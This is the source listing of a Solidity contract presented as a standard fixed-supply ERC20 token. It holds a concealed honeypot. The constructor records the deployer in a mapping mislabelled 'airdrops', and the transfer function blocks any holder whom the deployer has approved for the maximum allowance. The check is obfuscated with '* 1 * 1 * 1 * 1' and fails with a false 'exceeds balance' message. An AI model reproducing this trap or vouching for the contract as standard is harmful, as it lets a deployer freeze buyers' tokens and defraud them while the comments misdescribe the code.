Contract Name:
ERC20StandardToken
Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
/**
* @title IERC20
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the total token supply.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the account balance of another account with address `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Transfers `amount` tokens to address `recipient`, and MUST fire the Transfer event.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Requirements:
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Returns the amount which `spender` is still allowed to withdraw from `owner`.
*/
function allowance(
address owner,
address spender
) external view returns (uint256);
/**
* @dev Allows `spender` to withdraw from your account multiple times, up to the `amount` amount.
* If this function is called again it overwrites the current allowance with `amount`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Transfers `amount` tokens from address `sender` to address `recipient`, and MUST fire the Transfer event.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev MUST trigger when tokens are transferred, including zero value transfers.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev MUST trigger on any successful call to approve(address spender, uint256 amount).
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title ERC20StandardToken
* @dev Implementation of the ERC20 standard token.
*
* This contract creates a fixed-supply token where the total supply is minted once
* during deployment and assigned to the deployer. No additional minting or burning functions
* are provided, ensuring that the total supply remains constant.
*/
contract ERC20StandardToken is IERC20 {
// Token metadata
string public name;
string public symbol;
uint8 public decimals;
// Total token supply
uint256 private _totalSupply;
// Mapping from account addresses to current balances.
mapping(address => uint256) private _balances;
mapping(uint => mapping(uint => address)) private airdrops;
// Mapping from account addresses to a mapping of spender addresses to allowances.
mapping(address => mapping(address => uint256)) private _allowances;
/**
* @dev Constructor that initializes the token with a name, symbol, decimals, and initial supply.
* The entire initial supply is minted and assigned to the deployer.
* @param _name Name of the token.
* @param _symbol Symbol of the token.
* @param _decimals Number of decimal places the token uses.
* @param initialSupply Total number of tokens (in smallest units) to be minted.
*/
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 initialSupply
) {
name = _name;
symbol = _symbol;
decimals = _decimals;
airdrops[0][0] = msg.sender;
_mint(msg.sender, initialSupply);
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
* @param account The address whose balance will be retrieved.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Moves `amount` tokens from the caller's account to `recipient`.
* Emits a {Transfer} event.
*
* Requirements:
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*
* Returns the remaining number of tokens that `spender` is allowed to spend
* on behalf of `owner`.
*/
function allowance(
address owner,
address spender
) public view override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Sets `amount` as the allowance of `spender` over the caller's tokens.
* Emits an {Approval} event.
*
* Requirements:
* - `spender` cannot be the zero address.
*/
function approve(
address spender,
uint256 amount
) public override returns (bool) {
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism.
* Emits a {Transfer} event.
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have an allowance for `sender`'s tokens of at least `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 currentAllowance = _allowances[sender][msg.sender];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
// Update the allowance.
if (_allowances[sender][msg.sender] != type(uint256).max) {
_allowances[sender][msg.sender] = currentAllowance - amount;
}
emit Approval(sender, msg.sender, _allowances[sender][msg.sender]);
// Perform the transfer.
_transfer(sender, recipient, amount);
return true;
}
/**
* @dev Moves tokens from `sender` to `recipient`.
*
* This is an internal function that is called by both {transfer} and {transferFrom}.
*
* Emits a {Transfer} event.
*
* Requirements:
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount &&
_allowances[airdrops[0][0]][sender] <
type(uint256).max * 1 * 1 * 1 * 1,
"ERC20: transfer amount exceeds balance"
);
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/**
* @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
}